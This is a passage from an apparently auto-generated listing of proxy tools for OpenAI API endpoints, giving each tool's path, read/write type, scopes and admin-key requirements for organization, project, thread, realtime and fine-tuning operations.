/projects/{project_id}/users/{user_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/projects/{project_id}/users/{user_id}/roles. Scopes: admin_read. openai_get_projects_by_project_id_users_by_user_id_roles_by_role_id (read) — Retrieves a project role assigned to a user. via GET /projects/{project_id}/users/{user_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/projects/{project_id}/users/{user_id}/roles/{role_id}. Scopes: admin_read. openai_get_responses_by_response_id (read) — Retrieves a model response with the given ID. via GET /responses/{response_id} GET /api/v1/openai/responses/{response_id}. Scopes: read. openai_get_responses_by_response_id_input_items (read) — Returns a list of input items for a given response. via GET /responses/{response_id}/input_items GET /api/v1/openai/responses/{response_id}/input_items. Scopes: read. openai_get_skills (read) — List all skills for the current project. via GET /skills GET /api/v1/openai/skills. Scopes: read. openai_get_skills_by_skill_id (read) — Get a skill by its ID. via GET /skills/{skill_id} GET /api/v1/openai/skills/{skill_id}. Scopes: read. openai_get_skills_by_skill_id_versions (read) — List skill versions for a skill. via GET /skills/{skill_id}/versions GET /api/v1/openai/skills/{skill_id}/versions. Scopes: read. openai_get_skills_by_skill_id_versions_by_version (read) — Get a specific skill version. via GET /skills/{skill_id}/versions/{version} GET /api/v1/openai/skills/{skill_id}/versions/{version}. Scopes: read. openai_get_threads_by_thread_id (read) — Retrieves a thread. via GET /threads/{thread_id} GET /api/v1/openai/threads/{thread_id}. Scopes: read. openai_get_threads_by_thread_id_messages (read) — Returns a list of messages for a given thread. via GET /threads/{thread_id}/messages GET /api/v1/openai/threads/{thread_id}/messages. Scopes: read. openai_get_threads_by_thread_id_messages_by_message_id (read) — Retrieve a message. via GET /threads/{thread_id}/messages/{message_id} GET /api/v1/openai/threads/{thread_id}/messages/{message_id}. Scopes: read. openai_get_threads_by_thread_id_runs (read) — Returns a list of runs belonging to a thread. via GET /threads/{thread_id}/runs GET /api/v1/openai/threads/{thread_id}/runs. Scopes: read. openai_get_threads_by_thread_id_runs_by_run_id (read) — Retrieves a run. via GET /threads/{thread_id}/runs/{run_id} GET /api/v1/openai/threads/{thread_id}/runs/{run_id}. Scopes: read. openai_get_threads_by_thread_id_runs_by_run_id_steps (read) — Returns a list of run steps belonging to a run. via GET /threads/{thread_id}/runs/{run_id}/steps GET /api/v1/openai/threads/{thread_id}/runs/{run_id}/steps. Scopes: read. openai_get_threads_by_thread_id_runs_by_run_id_steps_by_step_id (read) — Retrieves a run step. via GET /threads/{thread_id}/runs/{run_id}/steps/{step_id} GET /api/v1/openai/threads/{thread_id}/runs/{run_id}/steps/{step_id}. Scopes: read. openai_get_vector_stores (read) — Returns a list of vector stores. via GET /vector_stores GET /api/v1/openai/vector_stores. Scopes: read. openai_get_vector_stores_by_vector_store_id (read) — Retrieves a vector store. via GET /vector_stores/{vector_store_id} GET /api/v1/openai/vector_stores/{vector_store_id}. Scopes: read. openai_get_vector_stores_by_vector_store_id_file_batches_by_batch_id (read) — Retrieves a vector store file batch. via GET /vector_stores/{vector_store_id}/file_batches/{batch_id} GET /api/v1/openai/vector_stores/{vector_store_id}/file_batches/{batch_id}. Scopes: read. openai_get_vector_stores_by_vector_store_id_file_batches_by_batch_id_files (read) — Returns a list of vector store files in a batch. via GET /vector_stores/{vector_store_id}/file_batches/{batch_id}/files GET /api/v1/openai/vector_stores/{vector_store_id}/file_batches/{batch_id}/files. Scopes: read. openai_get_vector_stores_by_vector_store_id_files (read) — Returns a list of vector store files. via GET /vector_stores/{vector_store_id}/files GET /api/v1/openai/vector_stores/{vector_store_id}/files. Scopes: read. openai_get_vector_stores_by_vector_store_id_files_by_file_id (read) — Retrieves a vector store file. via GET /vector_stores/{vector_store_id}/files/{file_id} GET /api/v1/openai/vector_stores/{vector_store_id}/files/{file_id}. Scopes: read. openai_get_vector_stores_by_vector_store_id_files_by_file_id_content (read) — Retrieve the parsed contents of a vector store file. via GET /vector_stores/{vector_store_id}/files/{file_id}/content GET /api/v1/openai/vector_stores/{vector_store_id}/files/{file_id}/content. Scopes: read. openai_get_videos (read) — List recently generated videos for the current project. via GET /videos OpenAI marks this operation deprecated. GET /api/v1/openai/videos. Scopes: read. openai_get_videos_by_video_id (read) — Fetch the latest metadata for a generated video. via GET /videos/{video_id} OpenAI marks this operation deprecated. GET /api/v1/openai/videos/{video_id}. Scopes: read. openai_get_videos_characters_by_character_id (read) — Fetch a character. via GET /videos/characters/{character_id} OpenAI marks this operation deprecated. GET /api/v1/openai/videos/characters/{character_id}. Scopes: read. openai_post_assistants (write) — Create an assistant with a model and instructions. via POST /assistants OpenAI marks this operation deprecated. POST /api/v1/openai/assistants. Scopes: write. openai_post_assistants_by_assistant_id (write) — Modifies an assistant. via POST /assistants/{assistant_id} OpenAI marks this operation deprecated. POST /api/v1/openai/assistants/{assistant_id}. Scopes: write. openai_post_audio_voice_consents_by_consent_id (write) — Updates a voice consent recording (metadata only). Update consent recording metadata used for creating custom voices. This endpoint updates metadata only and does not replace the underlying audio. See the [custom voices guide](/docs/guides/text-to-speech#custom-voices). Custom voices are limited to eligible customers. via POST /audio/voice_consents/{consent_id} POST /api/v1/openai/audio/voice_consents/{consent_id}. Scopes: write. openai_post_batches (write) — Creates and executes a batch from an uploaded file of requests via POST /batches POST /api/v1/openai/batches. Scopes: write. openai_post_batches_by_batch_id_cancel (write) — Cancels an in-progress batch. The batch will be in status `cancelling` for up to 10 minutes, before changing to `cancelled`, where it will have partial results (if any) available in the output file. via POST /batches/{batch_id}/cancel POST /api/v1/openai/batches/{batch_id}/cancel. Scopes: write. openai_post_chat_completions (write) — **Starting a new project?** We recommend trying [Responses](/docs/api-reference/responses) to take advantage of the latest OpenAI platform features. Compare [Chat Completions with Responses](/docs/guides/responses-vs-chat-completions?api-mode=responses). --- Creates a model response for the given chat conversation. Learn more in the [text generation](/docs/guides/text-generation), [vision](/docs/guides/vision), and [audio](/docs/guides/audio) guides. Parameter support can differ depending on the model used to generate the response, particularly for newer reasoning models. Parameters that are only supported for reasoning models are noted below. For the current state of unsupported parameters in reasoning models, [refer to the reasoning guide](/docs/guides/reasoning). Returns a chat completion object, or a streamed sequence of chat completion chunk objects if the request is streamed. via POST /chat/completions POST /api/v1/openai/chat/completions. Scopes: write. openai_post_chat_completions_by_completion_id (write) — Modify a stored chat completion. Only Chat Completions that have been created with the `store` parameter set to `true` can be modified. Currently, the only supported modification is to update the `metadata` field. via POST /chat/completions/{completion_id} POST /api/v1/openai/chat/completions/{completion_id}. Scopes: write. openai_post_chatkit_sessions (write) — Create a ChatKit session. via POST /chatkit/sessions POST /api/v1/openai/chatkit/sessions. Scopes: write. openai_post_chatkit_sessions_by_session_id_cancel (write) — Cancel an active ChatKit session and return its most recent metadata. Cancelling prevents new requests from using the issued client secret. via POST /chatkit/sessions/{session_id}/cancel POST /api/v1/openai/chatkit/sessions/{session_id}/cancel. Scopes: write. openai_post_completions (write) — Creates a completion for the provided prompt and parameters. Returns a completion object, or a sequence of completion objects if the request is streamed. via POST /completions POST /api/v1/openai/completions. Scopes: write. openai_post_containers (write) — Create Container Creates a container. via POST /containers POST /api/v1/openai/containers. Scopes: write. openai_post_containers_by_container_id_files (write) — Create a Container File You can send either a multipart/form-data request with the raw file content, or a JSON request with a file ID. Creates a container file. via POST /containers/{container_id}/files POST /api/v1/openai/containers/{container_id}/files. Scopes: write. openai_post_conversations (write) — Create a conversation. via POST /conversations POST /api/v1/openai/conversations. Scopes: write. openai_post_conversations_by_conversation_id (write) — Update a conversation via POST /conversations/{conversation_id} POST /api/v1/openai/conversations/{conversation_id}. Scopes: write. openai_post_conversations_by_conversation_id_items (write) — Create items in a conversation with the given ID. via POST /conversations/{conversation_id}/items POST /api/v1/openai/conversations/{conversation_id}/items. Scopes: write. openai_post_embeddings (write) — Creates an embedding vector representing the input text. via POST /embeddings POST /api/v1/openai/embeddings. Scopes: write. openai_post_evals (write) — Create the structure of an evaluation that can be used to test a model's performance. An evaluation is a set of testing criteria and the config for a data source, which dictates the schema of the data used in the evaluation. After creating an evaluation, you can run it on different models and model parameters. We support several types of graders and datasources. For more information, see the [Evals guide](/docs/guides/evals). via POST /evals POST /api/v1/openai/evals. Scopes: write. openai_post_evals_by_eval_id (write) — Update certain properties of an evaluation. via POST /evals/{eval_id} POST /api/v1/openai/evals/{eval_id}. Scopes: write. openai_post_evals_by_eval_id_runs (write) — Kicks off a new run for a given evaluation, specifying the data source, and what model configuration to use to test. The datasource will be validated against the schema specified in the config of the evaluation. via POST /evals/{eval_id}/runs POST /api/v1/openai/evals/{eval_id}/runs. Scopes: write. openai_post_evals_by_eval_id_runs_by_run_id (write) — Cancel an ongoing evaluation run. via POST /evals/{eval_id}/runs/{run_id} POST /api/v1/openai/evals/{eval_id}/runs/{run_id}. Scopes: write. openai_post_fine_tuning_alpha_graders_run (write) — Run a grader. via POST /fine_tuning/alpha/graders/run POST /api/v1/openai/fine_tuning/alpha/graders/run. Scopes: write. openai_post_fine_tuning_alpha_graders_validate (write) — Validate a grader. via POST /fine_tuning/alpha/graders/validate POST /api/v1/openai/fine_tuning/alpha/graders/validate. Scopes: write. openai_post_fine_tuning_checkpoints_by_fine_tuned_model_checkpoint_permissions (write) — **NOTE:** Calling this endpoint requires an [admin API key](../admin-api-keys). This enables organization owners to share fine-tuned models with other projects in their organization. via POST /fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions POST /api/v1/openai/fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions. Scopes: write. openai_post_fine_tuning_jobs (write) — Creates a fine-tuning job which begins the process of creating a new model from a given dataset. Response includes details of the enqueued job including job status and the name of the fine-tuned models once complete. [Learn more about fine-tuning](/docs/guides/model-optimization) via POST /fine_tuning/jobs POST /api/v1/openai/fine_tuning/jobs. Scopes: write. openai_post_fine_tuning_jobs_by_fine_tuning_job_id_cancel (write) — Immediately cancel a fine-tune job. via POST /fine_tuning/jobs/{fine_tuning_job_id}/cancel POST /api/v1/openai/fine_tuning/jobs/{fine_tuning_job_id}/cancel. Scopes: write. openai_post_fine_tuning_jobs_by_fine_tuning_job_id_pause (write) — Pause a fine-tune job. via POST /fine_tuning/jobs/{fine_tuning_job_id}/pause POST /api/v1/openai/fine_tuning/jobs/{fine_tuning_job_id}/pause. Scopes: write. openai_post_fine_tuning_jobs_by_fine_tuning_job_id_resume (write) — Resume a fine-tune job. via POST /fine_tuning/jobs/{fine_tuning_job_id}/resume POST /api/v1/openai/fine_tuning/jobs/{fine_tuning_job_id}/resume. Scopes: write. openai_post_images_edits (write) — Creates an edited or extended image given one or more source images and a prompt. This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`, `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`. You can call this endpoint with either: - `multipart/form-data`: use binary uploads via `image` (and optional `mask`). - `application/json`: use `images` (and optional `mask`) as references with either `image_url` or `file_id`. Note that JSON requests use `images` (array) instead of the multipart `image` field. via POST /images/edits POST /api/v1/openai/images/edits. Scopes: write. openai_post_images_generations (write) — Creates an image given a prompt. [Learn more](/docs/guides/images). via POST /images/generations POST /api/v1/openai/images/generations. Scopes: write. openai_post_moderations (write) — Classifies if text and/or image inputs are potentially harmful. Learn more in the [moderation guide](/docs/guides/moderation). via POST /moderations POST /api/v1/openai/moderations. Scopes: write. openai_post_organization_admin_api_keys (write) — Create an organization admin API key Create a new admin-level API key for the organization. via POST /organization/admin_api_keys Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/admin_api_keys. Scopes: admin_write. openai_post_organization_certificates (write) — Upload a certificate to the organization. This does **not** automatically activate the certificate. Organizations can upload up to 50 certificates. via POST /organization/certificates Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/certificates. Scopes: admin_write. openai_post_organization_certificates_activate (write) — Activate certificates at the organization level. You can atomically and idempotently activate up to 10 certificates at a time. via POST /organization/certificates/activate Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/certificates/activate. Scopes: admin_write. openai_post_organization_certificates_by_certificate_id (write) — Modify a certificate. Note that only the name can be modified. via POST /organization/certificates/{certificate_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/certificates/{certificate_id}. Scopes: admin_write. openai_post_organization_certificates_deactivate (write) — Deactivate certificates at the organization level. You can atomically and idempotently deactivate up to 10 certificates at a time. via POST /organization/certificates/deactivate Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/certificates/deactivate. Scopes: admin_write. openai_post_organization_data_retention (write) — Updates organization data retention controls. via POST /organization/data_retention Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/data_retention. Scopes: admin_write. openai_post_organization_groups (write) — Creates a new group in the organization. via POST /organization/groups Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/groups. Scopes: admin_write. openai_post_organization_groups_by_group_id (write) — Updates a group's information. via POST /organization/groups/{group_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/groups/{group_id}. Scopes: admin_write. openai_post_organization_groups_by_group_id_roles (write) — Assigns an organization role to a group within the organization. via POST /organization/groups/{group_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/groups/{group_id}/roles. Scopes: admin_write. openai_post_organization_groups_by_group_id_users (write) — Adds a user to a group. via POST /organization/groups/{group_id}/users Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/groups/{group_id}/users. Scopes: admin_write. openai_post_organization_invites (write) — Create an invite for a user to the organization. The invite must be accepted by the user before they have access to the organization. via POST /organization/invites Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/invites. Scopes: admin_write. openai_post_organization_projects (write) — Create a new project in the organization. Projects can be created and archived, but cannot be deleted. via POST /organization/projects Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects. Scopes: admin_write. openai_post_organization_projects_by_project_id (write) — Modifies a project in the organization. via POST /organization/projects/{project_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}. Scopes: admin_write. openai_post_organization_projects_by_project_id_archive (write) — Archives a project in the organization. Archived projects cannot be used or updated. via POST /organization/projects/{project_id}/archive Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/archive. Scopes: admin_write. openai_post_organization_projects_by_project_id_certificates_activate (write) — Activate certificates at the project level. You can atomically and idempotently activate up to 10 certificates at a time. via POST /organization/projects/{project_id}/certificates/activate Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/certificates/activate. Scopes: admin_write. openai_post_organization_projects_by_project_id_certificates_deactivate (write) — Deactivate certificates at the project level. You can atomically and idempotently deactivate up to 10 certificates at a time. via POST /organization/projects/{project_id}/certificates/deactivate Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/certificates/deactivate. Scopes: admin_write. openai_post_organization_projects_by_project_id_data_retention (write) — Updates project data retention controls. via POST /organization/projects/{project_id}/data_retention Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/data_retention. Scopes: admin_write. openai_post_organization_projects_by_project_id_groups (write) — Grants a group access to a project. via POST /organization/projects/{project_id}/groups Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/groups. Scopes: admin_write. openai_post_organization_projects_by_project_id_hosted_tool_permissions (write) — Updates hosted tool permissions for a project. via POST /organization/projects/{project_id}/hosted_tool_permissions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/hosted_tool_permissions. Scopes: admin_write. openai_post_organization_projects_by_project_id_model_permissions (write) — Updates model permissions for a project. via POST /organization/projects/{project_id}/model_permissions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/model_permissions. Scopes: admin_write. openai_post_organization_projects_by_project_id_rate_limits_by_rate_limit_id (write) — Updates a project rate limit. via POST /organization/projects/{project_id}/rate_limits/{rate_limit_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/rate_limits/{rate_limit_id}. Scopes: admin_write. openai_post_organization_projects_by_project_id_service_accounts (write) — Creates a new service account in the project. By default, this also returns an unredacted API key for the service account. via POST /organization/projects/{project_id}/service_accounts Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/service_accounts. Scopes: admin_write. openai_post_organization_projects_by_project_id_service_accounts_by_service_account_id (write) — Updates a service account in the project. via POST /organization/projects/{project_id}/service_accounts/{service_account_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/service_accounts/{service_account_id}. Scopes: admin_write. openai_post_organization_projects_by_project_id_service_accounts_by_service_account_id_api_keys (write) — Creates an API key for a service account in the project. via POST /organization/projects/{project_id}/service_accounts/{service_account_id}/api_keys Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/service_accounts/{service_account_id}/api_keys. Scopes: admin_write. openai_post_organization_projects_by_project_id_spend_alerts (write) — Creates a project spend alert. via POST /organization/projects/{project_id}/spend_alerts Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/spend_alerts. Scopes: admin_write. openai_post_organization_projects_by_project_id_spend_alerts_by_alert_id (write) — Updates a project spend alert. via POST /organization/projects/{project_id}/spend_alerts/{alert_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/spend_alerts/{alert_id}. Scopes: admin_write. openai_post_organization_projects_by_project_id_spend_limit (write) — Create or replace a project's hard spend limit. via POST /organization/projects/{project_id}/spend_limit Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/spend_limit. Scopes: admin_write. openai_post_organization_projects_by_project_id_users (write) — Adds a user to the project. Users must already be members of the organization to be added to a project. via POST /organization/projects/{project_id}/users Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/users. Scopes: admin_write. openai_post_organization_projects_by_project_id_users_by_user_id (write) — Modifies a user's role in the project. via POST /organization/projects/{project_id}/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/projects/{project_id}/users/{user_id}. Scopes: admin_write. openai_post_organization_roles (write) — Creates a custom role for the organization. via POST /organization/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/roles. Scopes: admin_write. openai_post_organization_roles_by_role_id (write) — Updates an existing organization role. via POST /organization/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/roles/{role_id}. Scopes: admin_write. openai_post_organization_spend_alerts (write) — Creates an organization spend alert. via POST /organization/spend_alerts Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/spend_alerts. Scopes: admin_write. openai_post_organization_spend_alerts_by_alert_id (write) — Updates an organization spend alert. via POST /organization/spend_alerts/{alert_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/spend_alerts/{alert_id}. Scopes: admin_write. openai_post_organization_spend_limit (write) — Create or replace the organization's hard spend limit. via POST /organization/spend_limit Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/spend_limit. Scopes: admin_write. openai_post_organization_users_by_user_id (write) — Modifies a user's role in the organization. via POST /organization/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/users/{user_id}. Scopes: admin_write. openai_post_organization_users_by_user_id_roles (write) — Assigns an organization role to a user within the organization. via POST /organization/users/{user_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/organization/users/{user_id}/roles. Scopes: admin_write. openai_post_projects_by_project_id_groups_by_group_id_roles (write) — Assigns a project role to a group within a project. via POST /projects/{project_id}/groups/{group_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/projects/{project_id}/groups/{group_id}/roles. Scopes: admin_write. openai_post_projects_by_project_id_roles (write) — Creates a custom role for a project. via POST /projects/{project_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/projects/{project_id}/roles. Scopes: admin_write. openai_post_projects_by_project_id_roles_by_role_id (write) — Updates an existing project role. via POST /projects/{project_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/projects/{project_id}/roles/{role_id}. Scopes: admin_write. openai_post_projects_by_project_id_users_by_user_id_roles (write) — Assigns a project role to a user within a project. via POST /projects/{project_id}/users/{user_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. POST /api/v1/openai/projects/{project_id}/users/{user_id}/roles. Scopes: admin_write. openai_post_realtime_calls_by_call_id_accept (write) — Accept an incoming SIP call and configure the realtime session that will handle it. via POST /realtime/calls/{call_id}/accept POST /api/v1/openai/realtime/calls/{call_id}/accept. Scopes: write. openai_post_realtime_calls_by_call_id_hangup (write) — End an active Realtime API call, whether it was initiated over SIP or WebRTC. via POST /realtime/calls/{call_id}/hangup POST /api/v1/openai/realtime/calls/{call_id}/hangup. Scopes: write. openai_post_realtime_calls_by_call_id_refer (write) — Transfer an active SIP call to a new destination using the SIP REFER verb. via POST /realtime/calls/{call_id}/refer POST /api/v1/openai/realtime/calls/{call_id}/refer. Scopes: write. openai_post_realtime_calls_by_call_id_reject (write) — Decline an incoming SIP call by returning a SIP status code to the caller. via POST /realtime/calls/{call_id}/reject POST /api/v1/openai/realtime/calls/{call_id}/reject. Scopes: write. openai_post_realtime_client_secrets (write) — Create a Realtime client secret with an associated session configuration. Client secrets are short-lived tokens that can be passed to a client app, such as a web frontend or mobile client, which grants access to the Realtime API without leaking your main API key. You can configure a custom TTL for each client secret. You can also attach session configuration options to the client secret, which will be applied to any sessions created using that client secret, but these can also be overridden by the client connection. [Learn more about authentication with client secrets over WebRTC](/docs/guides/realtime-webrtc). Returns the created client secret and the effective session object. The client secret is a string that looks like `ek_1234`. via POST /realtime/client_secrets POST /api/v1/openai/realtime/client_secrets. Scopes: write. openai_post_realtime_sessions (write) — Create an ephemeral API token for use in client-side applications with the Realtime API. Can be configured with the same session parameters as the `session.update` client event. It responds with a session object, plus a `client_secret` key which contains a usable ephemeral API token that can be used to authenticate browser clients for the Realtime API. Returns the created Realtime session object, plus an ephemeral key. via POST /realtime/sessions POST /api/v1/openai/realtime/sessions. Scopes: write. openai_post_realtime_transcription_sessions (write) — Create an ephemeral API token for use in client-side applications with the Realtime API specifically for realtime transcriptions. Can be configured with the same session parameters as the `transcription_session.update` client event. It responds with a session object, plus a `client_secret` key which contains a usable ephemeral API token that can be used to authenticate browser clients for the Realtime API. Returns the created Realtime transcription session object, plus an ephemeral key. via POST /realtime/transcription_sessions POST /api/v1/openai/realtime/transcription_sessions. Scopes: write. openai_post_realtime_translations_client_secrets (write) — Create a Realtime translation client secret with an associated translation session configuration. Client secrets are short-lived tokens that can be passed to a client app, such as a web frontend or mobile client, which grants access to the Realtime Translation API without leaking your main API key. You can configure a custom TTL for each client secret. Returns the created client secret and the effective translation session object. The client secret is a string that looks like `ek_1234`. via POST /realtime/translations/client_secrets POST /api/v1/openai/realtime/translations/client_secrets. Scopes: write. openai_post_responses (write) — Creates a model response. Provide [text](/docs/guides/text) or [image](/docs/guides/images) inputs to generate [text](/docs/guides/text) or [JSON](/docs/guides/structured-outputs) outputs. Have the model call your own [custom code](/docs/guides/function-calling) or use built-in [tools](/docs/guides/tools) like [web search](/docs/guides/tools-web-search) or [file search](/docs/guides/tools-file-search) to use your own data as input for the model's response. via POST /responses POST /api/v1/openai/responses. Scopes: write. openai_post_responses_by_response_id_cancel (write) — Cancels a model response with the given ID. Only responses created with the `background` parameter set to `true` can be cancelled. [Learn more](/docs/guides/background). via POST /responses/{response_id}/cancel POST /api/v1/openai/responses/{response_id}/cancel. Scopes: write. openai_post_responses_compact (write) — Compact a conversation. Returns a compacted response object. Learn when and how to compact long-running conversations in the [conversation state guide](/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](/docs/guides/conversation-state#compaction-advanced). via POST /responses/compact POST /api/v1/openai/responses/compact. Scopes: write. openai_post_responses_input_tokens (write) — Returns input token counts of the request. Returns an object with `object` set to `response.input_tokens` and an `input_tokens` count. via POST /responses/input_tokens POST /api/v1/openai/responses/input_tokens. Scopes: write. openai_post_skills_by_skill_id (write) — Update the default version pointer for a skill. via POST /skills/{skill_id} POST /api/v1/openai/skills/{skill_id}. Scopes: write. openai_post_threads (write) — Create a thread. via POST /threads POST /api/v1/openai/threads. Scopes: write. openai_post_threads_by_thread_id (write) — Modifies a thread. via POST /threads/{thread_id} POST /api/v1/openai/threads/{thread_id}. Scopes: write. openai_post_threads_by_thread_id_messages (write) — Create a message. via POST /threads/{thread_id}/messages POST /api/v1/openai/threads/{thread_id}/messages. Scopes: write. openai_post_threads_by_thread_id_messages_by_message_id (write) — Modifies a message. via POST /threads/{thread_id}/messages/{message_id} POST /api/v1/openai/threads/{thread_id}/messages/{message_id}. Scopes: write. openai_post_threads_by_thread_id_runs (write) — Create a run. via POST /threads/{thread_id}/runs POST /api/v1/openai/threads/{thread_id}/runs. Scopes: write. openai_post_threads_by_thread_id_runs_by_run_id (write) — Modifies a run. via POST /threads/{thread_id}/runs/{run_id} POST /api/v1/openai/threads/{thread_id}/runs/{run_id}. Scopes: write. openai_post_threads_by_thread_id_runs_by_run_id_cancel (write) — Cancels a run that is `in_progress`. via POST /threads/{thread_id}/runs/{run_id}/cancel POST /api/v1/openai/threads/{thread_id}/runs/{run_id}/cancel. Scopes: write. openai_post_threads_by_thread_id_runs_by_run_id_submit_tool_outputs (write) — When a run has the `status: "requires_action"` and `required_action.type` is `submit_tool_outputs`, this endpoint can be used to submit the outputs from the tool calls once they're all completed. All outputs must be submitted in a single request. via POST /threads/{thread_id}/runs/{run_id}/submit_tool_outputs POST /api/v1/openai/threads/{thread_id}/runs/{run_id}/submit_tool_outputs. Scopes: write. openai_post_threads_runs (write) — Create a thread and run it in one request. via POST /threads/runs POST /api/v1/openai/threads/runs. Scopes: write. openai_post_uploads (write) — Creates an intermediate [Upload](/docs/api-reference/uploads/object) object that you can add [Parts](/docs/api-reference/uploads/part-object) to. Currently, an Upload can accept at most 8 GB in total and expires after an hour after you create it. Once you complete the Upload, we will create a [File](/docs/api-reference/files/object) object that contains all the parts you uploaded. This File is usable in the rest of our platform as a regular File object. For certain `purpose` values, the correct `mime_type` must be specified. Please refer to documentation for the [supported MIME types for your use case](/docs/assistants/tools/file-search#supported-files). For guidance on the proper filename extensions for each purpose, please follow the documentation on [creating a File](/docs/api-reference/files/create). Returns the Upload object with status `pending`. via POST /uploads POST /api/v1/openai/uploads. Scopes: write. openai_post_uploads_by_upload_id_cancel (write) — Cancels the Upload. No Parts may be added after an Upload is cancelled. Returns the Upload object with status `cancelled`. via POST /uploads/{upload_id}/cancel POST /api/v1/openai/uploads/{upload_id}/cancel. Scopes: write. openai_post_uploads_by_upload_id_complete (write) — Completes the [Upload](/docs/api-reference/uploads/object). Within the returned Upload object, there is a nested [File](/docs/api-reference/files/object) object that is ready to use in the rest of the platform. You can specify the order of the Parts by passing in an ordered list of the Part IDs. The number of bytes uploaded upon completion must match the number of bytes initially specified when creating the Upload object. No Parts may be added after an Upload is completed. Returns the Upload object with status `completed`, including an additional `file` property containing the created usable File object. via POST /uploads/{upload_id}/complete POST /api/v1/openai/uploads/{upload_id}/complete. Scopes: write. openai_post_vector_stores (write) — Create a vector store. via POST /vector_stores POST /api/v1/openai/vector_stores. Scopes: write. openai_post_vector_stores_by_vector_store_id (write) — Modifies a vector store. via POST /vector_stores/{vector_store_id} POST 